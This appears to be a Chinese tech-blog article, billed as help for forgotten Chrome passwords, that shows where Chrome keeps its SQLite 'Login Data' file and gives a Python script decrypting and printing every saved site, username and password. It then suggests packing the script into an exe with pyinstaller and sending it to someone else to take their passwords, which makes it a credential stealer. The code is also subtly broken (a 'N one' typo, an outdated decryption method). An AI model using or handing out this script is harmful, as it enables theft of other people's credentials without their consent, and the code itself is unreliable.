Chrome中Python如何解决忘记网站上密码的问题

发布时间:2021-11-25 14:36:58 作者:小新
来源:亿速云 阅读:225

小编给大家分享一下Chrome中Python如何解决忘记网站上密码的问题,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!

1.查看 Chrome 存储的密码表单

点击 Chrome 浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在 Chrome 浏览器中输入 **chrome://settings/passwords** 你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码,看到这里是不是觉得很简单?但如果我们能像电影里的黑客一样瞬间拿到其他电脑的密码岂不是更有趣?

2 . SQLite 在哪,又该怎么查询?

那么, Chrome 的密码是以什么方式进行存储的呢?答案就是用 “SQLite” 。首先,进入我的电脑,地址栏中输入以下代码,进入 app 的数据存储路径:

C:\Users\Administrator\AppData\Local

之后进入 chrome 浏览器的密码数据库统一地址为:

Google\Chrome\User Data\Default\Login Data

3.查看 Chrome 浏览器存储的密码

拿到了 SQLite 数据库文件,我们随便找个 sqlite 工具,就能打开这个数据库了!

Chrome中Python如何解决忘记网站上密码的问题

打开数据库,我们看到有三张表:logins 、meta、 stats,其中 logins 中就存储着你保存的网址、用户名、密码数据,分别是: signon_realm,username_value,password_value,但问题来了 password_value 的字段看着是空的,因为那里被加密了。

CryptUnprotectData 数据可以在 win32crypt 中找到,要使用该模块,需要以下代码进行安装:

pip install pywin32

4.准备工作做好后,就开始代码环节吧~

import os
import shutil
import sqlite3
import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')

tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
print(tmp_file)
if os.path.exists(tmp_file):
   os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)

conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
    print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))

conn.close()
os.remove(tmp_file)

通过解密,我们获取到了 Chrome 浏览器保存的用户名密码,然后保存至文本。

之后我们只需要使用 **pyinstaller -F xxx.py** ,将代码打包成 exe 发给对方,就可以在他的电脑上获取密码了!虽然这个伪黑客很简单甚至有些鸡肋,但往往在一些事情上就是因为自身的大意而导致数据的泄露,在这里也要加强自身保密意识!Chrome 浏览器保存密码虽然很爽,但记在脑子里还是最安全哟

看完了这篇文章,相信你对“Chrome中Python如何解决忘记网站上密码的问题”有了一定的了解,如果想了解更多相关知识,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

推荐阅读:
  1. 解决mac用户忘记登录密码问题
  2. 如何解决linux忘记root密码的问题

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

python chrome

上一篇:Python怎么绘制可视化图

下一篇:利用CVE-2018-8373 0day漏洞的攻击与Darkhotel团伙相关的示例分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》